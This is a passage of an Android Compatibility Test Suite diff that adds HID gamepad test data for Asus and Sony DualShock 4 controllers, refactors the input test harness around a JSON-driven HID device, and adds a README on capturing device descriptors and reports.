+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_MODE"},
+      {"action": "UP", "keycode": "BUTTON_MODE"}
+    ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_register.json b/tests/tests/hardware/res/raw/sony_dualshock4_register.json
new file mode 100644
index 0000000..23aae6f
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_register.json
@@ -0,0 +1,42 @@
+{
+  "id": 1,
+  "command": "register",
+  "name": "Sony DS4 Joystick (Test)",
+  "vid": 0x054c,
+  "pid": 0x09cc,
+  "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x30, 0x09, 0x31, 0x09, 0x32,
+    0x09, 0x35, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x04, 0x81, 0x02, 0x09, 0x39, 0x15,
+    0x00, 0x25, 0x07, 0x75, 0x04, 0x95, 0x01, 0x81, 0x42, 0x05, 0x09, 0x19, 0x01, 0x29, 0x0e, 0x15,
+    0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x0e, 0x81, 0x02, 0x75, 0x06, 0x95, 0x01, 0x81, 0x01, 0x05,
+    0x01, 0x09, 0x33, 0x09, 0x34, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x02, 0x81, 0x02,
+    0x06, 0x04, 0xff, 0x85, 0x02, 0x09, 0x24, 0x95, 0x24, 0xb1, 0x02, 0x85, 0xa3, 0x09, 0x25, 0x95,
+    0x30, 0xb1, 0x02, 0x85, 0x05, 0x09, 0x26, 0x95, 0x28, 0xb1, 0x02, 0x85, 0x06, 0x09, 0x27, 0x95,
+    0x34, 0xb1, 0x02, 0x85, 0x07, 0x09, 0x28, 0x95, 0x30, 0xb1, 0x02, 0x85, 0x08, 0x09, 0x29, 0x95,
+    0x2f, 0xb1, 0x02, 0x85, 0x09, 0x09, 0x2a, 0x95, 0x13, 0xb1, 0x02, 0x06, 0x03, 0xff, 0x85, 0x03,
+    0x09, 0x21, 0x95, 0x26, 0xb1, 0x02, 0x85, 0x04, 0x09, 0x22, 0x95, 0x2e, 0xb1, 0x02, 0x85, 0xf0,
+    0x09, 0x47, 0x95, 0x3f, 0xb1, 0x02, 0x85, 0xf1, 0x09, 0x48, 0x95, 0x3f, 0xb1, 0x02, 0x85, 0xf2,
+    0x09, 0x49, 0x95, 0x0f, 0xb1, 0x02, 0x06, 0x00, 0xff, 0x85, 0x11, 0x09, 0x20, 0x15, 0x00, 0x26,
+    0xff, 0x00, 0x75, 0x08, 0x95, 0x4d, 0x81, 0x02, 0x09, 0x21, 0x91, 0x02, 0x85, 0x12, 0x09, 0x22,
+    0x95, 0x8d, 0x81, 0x02, 0x09, 0x23, 0x91, 0x02, 0x85, 0x13, 0x09, 0x24, 0x95, 0xcd, 0x81, 0x02,
+    0x09, 0x25, 0x91, 0x02, 0x85, 0x14, 0x09, 0x26, 0x96, 0x0d, 0x01, 0x81, 0x02, 0x09, 0x27, 0x91,
+    0x02, 0x85, 0x15, 0x09, 0x28, 0x96, 0x4d, 0x01, 0x81, 0x02, 0x09, 0x29, 0x91, 0x02, 0x85, 0x16,
+    0x09, 0x2a, 0x96, 0x8d, 0x01, 0x81, 0x02, 0x09, 0x2b, 0x91, 0x02, 0x85, 0x17, 0x09, 0x2c, 0x96,
+    0xcd, 0x01, 0x81, 0x02, 0x09, 0x2d, 0x91, 0x02, 0x85, 0x18, 0x09, 0x2e, 0x96, 0x0d, 0x02, 0x81,
+    0x02, 0x09, 0x2f, 0x91, 0x02, 0x85, 0x19, 0x09, 0x30, 0x96, 0x22, 0x02, 0x81, 0x02, 0x09, 0x31,
+    0x91, 0x02, 0x06, 0x80, 0xff, 0x85, 0x82, 0x09, 0x22, 0x95, 0x3f, 0xb1, 0x02, 0x85, 0x83, 0x09,
+    0x23, 0xb1, 0x02, 0x85, 0x84, 0x09, 0x24, 0xb1, 0x02, 0x85, 0x90, 0x09, 0x30, 0xb1, 0x02, 0x85,
+    0x91, 0x09, 0x31, 0xb1, 0x02, 0x85, 0x92, 0x09, 0x32, 0xb1, 0x02, 0x85, 0x93, 0x09, 0x33, 0xb1,
+    0x02, 0x85, 0xa0, 0x09, 0x40, 0xb1, 0x02, 0x85, 0xa4, 0x09, 0x44, 0xb1, 0x02, 0x85, 0xa7, 0x09,
+    0x45, 0xb1, 0x02, 0x85, 0xa8, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xa9, 0x09, 0x45, 0xb1, 0x02, 0x85,
+    0xaa, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xab, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xac, 0x09, 0x45, 0xb1,
+    0x02, 0x85, 0xad, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xb1, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xb2, 0x09,
+    0x46, 0xb1, 0x02, 0x85, 0xb3, 0x09, 0x45, 0xb1, 0x02, 0x85, 0xb4, 0x09, 0x46, 0xb1, 0x02, 0xc0],
+  "feature_reports": [
+    {
+      "id": 5,
+      "data": [0x05, 0x1e, 0x00, 0x05, 0x00, 0xe2, 0xff, 0xf2, 0x22, 0xbe, 0x22, 0x8d, 0x22, 0x4f,
+        0xdd, 0x4d, 0xdd, 0x39, 0xdd, 0x1c, 0x02, 0x1c, 0x02, 0xe3, 0x1f, 0x8b, 0xdf, 0x8c, 0x1e,
+        0xb4, 0xde, 0x30, 0x20, 0x71, 0xe0, 0x10, 0x00, 0xca, 0xfc, 0x64, 0x4d]
+    }
+  ]
+}
diff --git a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
index da9fca8..82756d1 100644
--- a/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/LowRamDeviceTest.java
@@ -147,7 +147,7 @@
     }
 
     @Test
-    @CddTest(requirement="7.6.2/H-0-1")
+    @CddTest(requirement="7.6.2")
     public void testMinSharedDataPartitionSize() {
         assertDataPartitionMinimumSize(
                 "Shared data",
@@ -156,7 +156,7 @@
     }
 
     @Test
-    @CddTest(requirement="7.6.1/H-9-2,T-0-1,A-0-1,7.6.1/H-10-1")
+    @CddTest(requirement="7.6.1/H-9-2,7.6.1/H-10-1")
     public void testMinDataPartitionSize() {
         long totalMemoryMb = getTotalMemory() / ONE_MEGABYTE;
         boolean lowRam = totalMemoryMb <= LOW_RAM_MAX;
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/InputCallback.java b/tests/tests/hardware/src/android/hardware/input/cts/InputCallback.java
index b4bda4e..d0842c1 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/InputCallback.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/InputCallback.java
@@ -20,9 +20,6 @@
 import android.view.MotionEvent;
 
 public interface InputCallback {
-    public void onKeyEvent(KeyEvent ev);
-    public void onMotionEvent(MotionEvent ev);
-    public void onInputDeviceAdded(int deviceId);
-    public void onInputDeviceRemoved(int deviceId);
-    public void onInputDeviceChanged(int deviceId);
+    void onKeyEvent(KeyEvent ev);
+    void onMotionEvent(MotionEvent ev);
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java b/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java
index 72aa056..028b18e 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/InputCtsActivity.java
@@ -17,26 +17,18 @@
 package android.hardware.input.cts;
 
 import android.app.Activity;
-import android.content.Context;
-import android.hardware.input.InputManager;
-import android.hardware.input.InputManager.InputDeviceListener;
 import android.os.Bundle;
-import android.util.Log;
 import android.view.KeyEvent;
 import android.view.MotionEvent;
 
-public class InputCtsActivity extends Activity implements InputDeviceListener {
+public class InputCtsActivity extends Activity {
     private static final String TAG = "InputCtsActivity";
 
     private InputCallback mInputCallback;
 
-    private InputManager mInputManager;
-
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
-        mInputManager = getApplicationContext().getSystemService(InputManager.class);
-        mInputManager.registerInputDeviceListener(this, null);
     }
 
     @Override
@@ -74,20 +66,4 @@
     public void setInputCallback(InputCallback callback) {
         mInputCallback = callback;
     }
-
-    @Override
-    public void onInputDeviceAdded(int deviceId) {
-        mInputCallback.onInputDeviceAdded(deviceId);
-    }
-
-    @Override
-    public void onInputDeviceRemoved(int deviceId) {
-        mInputCallback.onInputDeviceRemoved(deviceId);
-    }
-
-    @Override
-    public void onInputDeviceChanged(int deviceId) {
-        mInputManager.getInputDevice(deviceId); // if this isn't called, won't get new notifications
-        mInputCallback.onInputDeviceChanged(deviceId);
-    }
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTestCase.java
new file mode 100644
index 0000000..642ac4f
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/AsusGamepadTestCase.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.hardware.cts.R;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class AsusGamepadTestCase extends InputTestCase {
+    public AsusGamepadTestCase() {
+        super(R.raw.asus_gamepad_register);
+    }
+
+    @Test
+    public void testAllKeys() {
+        testInputEvents(R.raw.asus_gamepad_keyeventtests);
+    }
+
+    @Test
+    public void testAllMotions() {
+        testInputEvents(R.raw.asus_gamepad_motioneventtests);
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java
deleted file mode 100644
index e44bcb4..0000000
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hardware.input.cts.tests;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.view.KeyEvent;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import android.hardware.cts.R;
-
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class GamepadTestCase extends InputTestCase {
-    private static final String TAG = "GamepadTests";
-
-    @Test
-    public void testButtonA() throws Exception {
-        registerInputDevice(R.raw.gamepad_register_device);
-
-        sendHidCommands(R.raw.gamepad_button_a_down);
-        sendHidCommands(R.raw.gamepad_delay);
-        assertReceivedKeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_BUTTON_A);
-
-        sendHidCommands(R.raw.gamepad_button_a_up);
-        assertReceivedKeyEvent(KeyEvent.ACTION_UP, KeyEvent.KEYCODE_BUTTON_A);
-
-        assertNoMoreEvents();
-    }
-}
-
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
index 9089529..a4edc8b 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputTestCase.java
@@ -20,51 +20,48 @@
 import static org.junit.Assert.fail;
 
 import android.app.Instrumentation;
-import android.app.UiAutomation;
 import android.hardware.input.cts.InputCallback;
 import android.hardware.input.cts.InputCtsActivity;
-import android.os.ParcelFileDescriptor;
-import android.os.SystemClock;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.rule.ActivityTestRule;
+import android.view.InputEvent;
 import android.view.KeyEvent;
 import android.view.MotionEvent;
 
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
+import androidx.annotation.NonNull;
 
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-
-import libcore.io.IoUtils;
+import com.android.cts.input.HidDevice;
+import com.android.cts.input.HidJsonParser;
+import com.android.cts.input.HidTestData;
 
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
 
-public class InputTestCase {
-    // hid executable expects "-" argument to read from stdin instead of a file
-    private static final String HID_COMMAND = "hid -";
-    private static final String[] KEY_ACTIONS = {"DOWN", "UP", "MULTIPLE"};
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
 
-    private OutputStream mOutputStream;
 
-    private final BlockingQueue<KeyEvent> mKeys;
-    private final BlockingQueue<MotionEvent> mMotions;
+public abstract class InputTestCase {
+    private static final float TOLERANCE = 0.005f;
+
+    private final BlockingQueue<InputEvent> mEvents;
+
     private InputListener mInputListener;
-
     private Instrumentation mInstrumentation;
+    private HidDevice mHidDevice;
+    private HidJsonParser mParser;
+    // Stores the name of the currently running test
+    private String mCurrentTestCase;
+    private int mRegisterResourceId; // raw resource that contains json for registering a hid device
 
-    private volatile CountDownLatch mDeviceAddedSignal; // to wait for onInputDeviceAdded signal
-
-    public InputTestCase() {
-        mKeys = new LinkedBlockingQueue<KeyEvent>();
-        mMotions = new LinkedBlockingQueue<MotionEvent>();
+    InputTestCase(int registerResourceId) {
+        mEvents = new LinkedBlockingQueue<>();
         mInputListener = new InputListener();
+        mRegisterResourceId = registerResourceId;
     }
 
     @Rule
@@ -72,55 +69,19 @@
         new ActivityTestRule<>(InputCtsActivity.class);
 
     @Before
-    public void setUp() throws Exception {
-        clearKeys();
-        clearMotions();
+    public void setUp() {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mActivityRule.getActivity().setInputCallback(mInputListener);
-        setupPipes();
+        mParser = new HidJsonParser(mInstrumentation.getTargetContext());
+        int hidDeviceId = mParser.readDeviceId(mRegisterResourceId);
+        String registerCommand = mParser.readRegisterCommand(mRegisterResourceId);
+        mHidDevice = new HidDevice(mInstrumentation, hidDeviceId, registerCommand);
+        mEvents.clear();
     }
 
     @After
-    public void tearDown() throws Exception {
-        IoUtils.closeQuietly(mOutputStream);
-    }
-
-    /**
-     * Register an input device. May cause a failure if the device added notification
-     * is not received within the timeout period
-     *
-     * @param resourceId The resource id from which to send the register command.
-     */
-    public void registerInputDevice(int resourceId) {
-        mDeviceAddedSignal = new CountDownLatch(1);
-        sendHidCommands(resourceId);
-        try {
-            // Found that in kernel 3.10, the device registration takes a very long time
-            // The wait can be decreased to 2 seconds after kernel 3.10 is no longer supported
-            mDeviceAddedSignal.await(20L, TimeUnit.SECONDS);
-            if (mDeviceAddedSignal.getCount() != 0) {
-                fail("Device added notification was not received in time.");
-            }
-        } catch (InterruptedException ex) {
-            fail("Unexpectedly interrupted while waiting for device added notification.");
-        }
-        SystemClock.sleep(100);
-    }
-
-    /**
-     * Sends the HID commands designated by the given resource id.
-     * The commands must be in the format expected by the `hid` shell command.
-     *
-     * @param id The resource id from which to load the HID commands. This must be a "raw"
-     * resource.
-     */
-    public void sendHidCommands(int id) {
-        try {
-            mOutputStream.write(getEvents(id).getBytes());
-            mOutputStream.flush();
-        } catch (IOException e) {
-            throw new RuntimeException(e);
-        }
+    public void tearDown() {
+        mHidDevice.close();
     }
 
     /**
@@ -131,114 +92,187 @@
      * KeyEvents are received within a reasonable amount of time, then this will throw an
      * AssertionFailedError.
      *
-     * @param action The action to expect on the next KeyEvent
-     * (e.g. {@link android.view.KeyEvent#ACTION_DOWN}).
-     * @param keyCode The expected key code of the next KeyEvent.
+     * Only action and keyCode are being compared.
      */
-    public void assertReceivedKeyEvent(int action, int keyCode) {
-        KeyEvent k = waitForKey();
-        if (k == null) {
-            fail("Timed out waiting for " + KeyEvent.keyCodeToString(keyCode)
-                    + " with action " + KEY_ACTIONS[action]);
-            return;
+    private void assertReceivedKeyEvent(@NonNull KeyEvent expectedKeyEvent) {
+        KeyEvent receivedKeyEvent = waitForKey();
+        if (receivedKeyEvent == null) {
+            fail(mCurrentTestCase + ": timed out waiting for "
+                    + KeyEvent.keyCodeToString(expectedKeyEvent.getKeyCode())
+                    + " with action " + KeyEvent.actionToString(expectedKeyEvent.getAction()));
         }
-        assertEquals(action, k.getAction());
-        assertEquals(keyCode, k.getKeyCode());
+        assertEquals(mCurrentTestCase, expectedKeyEvent.getAction(), receivedKeyEvent.getAction());
+        assertEquals(mCurrentTestCase,
+                expectedKeyEvent.getKeyCode(), receivedKeyEvent.getKeyCode());
+    }
+
+    private void assertReceivedMotionEvent(@NonNull MotionEvent expectedEvent) {
+        MotionEvent event = waitForMotion();
+        /*
+         If the test fails here, one thing to try is to forcefully add a delay after the device
+         added callback has been received, but before any hid data has been written to the device.
+         We already wait for all of the proper callbacks here and in other places of the stack, but
+         it appears that the device sometimes is still not ready to receive hid data. If any data
+         gets written to the device in that state, it will disappear,
+         and no events will be generated.
+          */
+
+        if (event == null) {
+            fail(mCurrentTestCase + ": timed out waiting for MotionEvent");
+        }
+        if (event.getHistorySize() > 0) {
+            fail(mCurrentTestCase + ": expected each MotionEvent to only have a single entry");
+        }
+        assertEquals(mCurrentTestCase, expectedEvent.getAction(), event.getAction());
+        for (int axis = MotionEvent.AXIS_X; axis <= MotionEvent.AXIS_GENERIC_16; axis++) {
+            assertEquals(mCurrentTestCase + " (" + MotionEvent.axisToString(axis) + ")",
+                    expectedEvent.getAxisValue(axis), event.getAxisValue(axis), TOLERANCE);
+        }
     }
 
     /**
-     * Asserts that no more events have been received by the application.
+     * Assert that no more events have been received by the application.
      *
-     * If any more events have been received by the application, this throws an
-     * AssertionFailedError.
+     * If any more events have been received by the application, this will cause failure.
      */
-    public void assertNoMoreEvents() {
-        KeyEvent key;
-        MotionEvent motion;
-        if ((key = mKeys.poll()) != null) {
-            fail("Extraneous key events generated: " + key);
+    private void assertNoMoreEvents() {
+        mInstrumentation.waitForIdleSync();
+        InputEvent event = mEvents.poll();
+        if (event == null) {
+            return;
         }
-        if ((motion = mMotions.poll()) != null) {
-            fail("Extraneous motion events generated: " + motion);
-        }
+        fail(mCurrentTestCase + ": extraneous events generated: " + event);
     }
 
-    private KeyEvent waitForKey() {
+    protected void testInputEvents(int resourceId) {
+        List<HidTestData> tests = mParser.getTestData(resourceId);
+
+        for (HidTestData testData: tests) {
+            mCurrentTestCase = testData.name;
+
+            // Send all of the HID reports
+            for (int i = 0; i < testData.reports.size(); i++) {
+                final String report = testData.reports.get(i);
+                mHidDevice.sendHidReport(report);
+            }
+
+            // Make sure we received the expected input events
+            for (int i = 0; i < testData.events.size(); i++) {
+                final InputEvent event = testData.events.get(i);
+                if (event instanceof MotionEvent) {
+                    assertReceivedMotionEvent((MotionEvent) event);
+                } else if (event instanceof KeyEvent) {
+                    assertReceivedKeyEvent((KeyEvent) event);
+                } else {
+                    fail("Entry " + i + " is neither a KeyEvent nor a MotionEvent: " + event);
+                }
+            }
+        }
+        assertNoMoreEvents();
+    }
+
+    private InputEvent waitForEvent() {
         try {
-            return mKeys.poll(1, TimeUnit.SECONDS);
+            return mEvents.poll(5, TimeUnit.SECONDS);
         } catch (InterruptedException e) {
+            fail(mCurrentTestCase + ": unexpectedly interrupted while waiting for InputEvent");
             return null;
         }
     }
 
-    private void clearKeys() {
-        mKeys.clear();
-    }
-
-    private void clearMotions() {
-        mMotions.clear();
-    }
-
-    private void setupPipes() throws IOException {
-        UiAutomation ui = mInstrumentation.getUiAutomation();
-        ParcelFileDescriptor[] pipes = ui.executeShellCommandRw(HID_COMMAND);
-
-        mOutputStream = new ParcelFileDescriptor.AutoCloseOutputStream(pipes[1]);
-        IoUtils.closeQuietly(pipes[0]); // hid command is write-only
-    }
-
-    private String getEvents(int id) throws IOException {
-        InputStream is =
-            mInstrumentation.getTargetContext().getResources().openRawResource(id);
-        return readFully(is);
-    }
-
-    private static String readFully(InputStream is) throws IOException {
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        int read = 0;
-        byte[] buffer = new byte[1024];
-        while ((read = is.read(buffer)) >= 0) {
-            baos.write(buffer, 0, read);
+    private KeyEvent waitForKey() {
+        InputEvent event = waitForEvent();
+        if (event instanceof KeyEvent) {
+            return (KeyEvent) event;
         }
-        return baos.toString();
+        fail("Expected a KeyEvent, but received: " + event);
+        return null;
+    }
+
+    private MotionEvent waitForMotion() {
+        InputEvent event = waitForEvent();
+        if (event instanceof MotionEvent) {
+            return (MotionEvent) event;
+        }
+        fail("Expected a MotionEvent, but received: " + event);
+        return null;
+    }
+
+    /**
+     * Since MotionEvents are batched together based on overall system timings (i.e. vsync), we
+     * can't rely on them always showing up batched in the same way. In order to make sure our
+     * test results are consistent, we instead split up the batches so they end up in a
+     * consistent and reproducible stream.
+     *
+     * Note, however, that this ignores the problem of resampling, as we still don't know how to
+     * distinguish resampled events from real events. Only the latter will be consistent and
+     * reproducible.
+     *
+     * @param event The (potentially) batched MotionEvent
+     * @return List of MotionEvents, with each event guaranteed to have zero history size, and
+     * should otherwise be equivalent to the original batch MotionEvent.
+     */
+    private static List<MotionEvent> splitBatchedMotionEvent(MotionEvent event) {
+        List<MotionEvent> events = new ArrayList<>();
+        final int historySize = event.getHistorySize();
+        final int pointerCount = event.getPointerCount();
+        MotionEvent.PointerProperties[] properties =
+                new MotionEvent.PointerProperties[pointerCount];
+        MotionEvent.PointerCoords[] currentCoords = new MotionEvent.PointerCoords[pointerCount];
+        for (int p = 0; p < pointerCount; p++) {
+            properties[p] = new MotionEvent.PointerProperties();
+            event.getPointerProperties(p, properties[p]);
+            currentCoords[p] = new MotionEvent.PointerCoords();
+            event.getPointerCoords(p, currentCoords[p]);
+        }
+        for (int h = 0; h < historySize; h++) {
+            long eventTime = event.getHistoricalEventTime(h);
+            MotionEvent.PointerCoords[] coords = new MotionEvent.PointerCoords[pointerCount];
+
+            for (int p = 0; p < pointerCount; p++) {
+                coords[p] = new MotionEvent.PointerCoords();
+                event.getHistoricalPointerCoords(p, h, coords[p]);
+            }
+            MotionEvent singleEvent =
+                    MotionEvent.obtain(event.getDownTime(), eventTime, event.getAction(),
+                            pointerCount, properties, coords,
+                            event.getMetaState(), event.getButtonState(),
+                            event.getXPrecision(), event.getYPrecision(),
+                            event.getDeviceId(), event.getEdgeFlags(),
+                            event.getSource(), event.getFlags());
+            events.add(singleEvent);
+        }
+
+        MotionEvent singleEvent =
+                MotionEvent.obtain(event.getDownTime(), event.getEventTime(), event.getAction(),
+                        pointerCount, properties, currentCoords,
+                        event.getMetaState(), event.getButtonState(),
+                        event.getXPrecision(), event.getYPrecision(),
+                        event.getDeviceId(), event.getEdgeFlags(),
+                        event.getSource(), event.getFlags());
+        events.add(singleEvent);
+        return events;
     }
 
     private class InputListener implements InputCallback {
         @Override
         public void onKeyEvent(KeyEvent ev) {
-            boolean done = false;
-            do {
-                try {
-                    mKeys.put(new KeyEvent(ev));
-                    done = true;
-                } catch (InterruptedException ignore) { }
-            } while (!done);
+            try {
+                mEvents.put(new KeyEvent(ev));
+            } catch (InterruptedException ex) {
+                fail(mCurrentTestCase + ": interrupted while adding a KeyEvent to the queue");
+            }
         }
 
         @Override
         public void onMotionEvent(MotionEvent ev) {
-            boolean done = false;
-            do {
-                try {
-                    mMotions.put(MotionEvent.obtain(ev));
-                    done = true;
-                } catch (InterruptedException ignore) { }
-            } while (!done);
-        }
-
-        @Override
-        public void onInputDeviceAdded(int deviceId) {
-            mDeviceAddedSignal.countDown();
-        }
-
-        @Override
-        public void onInputDeviceRemoved(int deviceId) {
-        }
-
-        @Override
-        public void onInputDeviceChanged(int deviceId) {
+            try {
+                for (MotionEvent event : splitBatchedMotionEvent(ev)) {
+                    mEvents.put(event);
+                }
+            } catch (InterruptedException ex) {
+                fail(mCurrentTestCase + ": interrupted while adding a MotionEvent to the queue");
+            }
         }
     }
-
-
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/README.md b/tests/tests/hardware/src/android/hardware/input/cts/tests/README.md
new file mode 100644
index 0000000..a966ce7
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/README.md
@@ -0,0 +1,18 @@
+How to add a test for a new HID device
+======================================
+
+    1. Connect the device of interest to Android
+    2. Open adb shell
+    3. Go to /sys/kernel/debug/hid/0005:0B05:4500.000F
+       Here "0005:0B05:4500.000F" is just an example, it will be different for each device.
+       Just print the /sys/kernel/debug/hid directory to see what it is for you.
+       This identifier will also change each time you reconnect the same physical device to Android.
+    4. `cat rdesc` will print the descriptor of this device
+    5. `cat events` will print the events that the device is producing
+       Once you cat the events, generate some events (by hand) on the device.
+       This will show you the hid reports that the device produces.
+
+To observe the MotionEvents that Android receives in response to the hid reports, write a small
+app that would override `dispatchGenericMotionEvent` and `dispatchKeyEvent` of an activity.
+There, print all of the event data that has changed. For MotionEvents, ensure to look at the
+historical data as well, since multiple reports could get batched into a single MotionEvent.
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4TestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4TestCase.java
new file mode 100644
index 0000000..010571a
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4TestCase.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.hardware.cts.R;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SonyDualshock4TestCase extends InputTestCase {
+
+    public SonyDualshock4TestCase() {
+        super(R.raw.sony_dualshock4_register);
+    }
+
+    @Test
+    public void testAllKeys() {
+        testInputEvents(R.raw.sony_dualshock4_keyeventtests);
+    }
+}
diff --git a/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt b/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt
index a2e6dc4..e68fcd9 100644
--- a/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt
+++ b/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt
@@ -16,11 +16,6 @@
   bug: "27374606"
 },
 {
-  description: "Fails on host and on device in same way before and after packaging",
-  name: "android.icu.dev.test.bidi.TestCompatibility#testCompatibility",
-  bug: "23995372"
-},
-{
   description: "Checks differences in DecimalFormat classes from ICU4J and JDK but on Android java.text.DecimalFormat is implemented in terms of ICU4J",
   name: "android.icu.dev.test.format.NumberFormatTest#TestDataDrivenJDK",
   bug: "27711713"
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
index cec2723..643fd75 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
+++ b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
@@ -48,6 +48,8 @@
 static const std::string kProductLibraryPath = "/product/lib";
 #endif
 
+static const std::string kWebViewPlatSupportLib = "libwebviewchromium_plat_support.so";
+
 // This is not the complete list - just a small subset
 // of the libraries that should reside in /system/lib
 // for app-compatibility reasons.
@@ -103,11 +105,59 @@
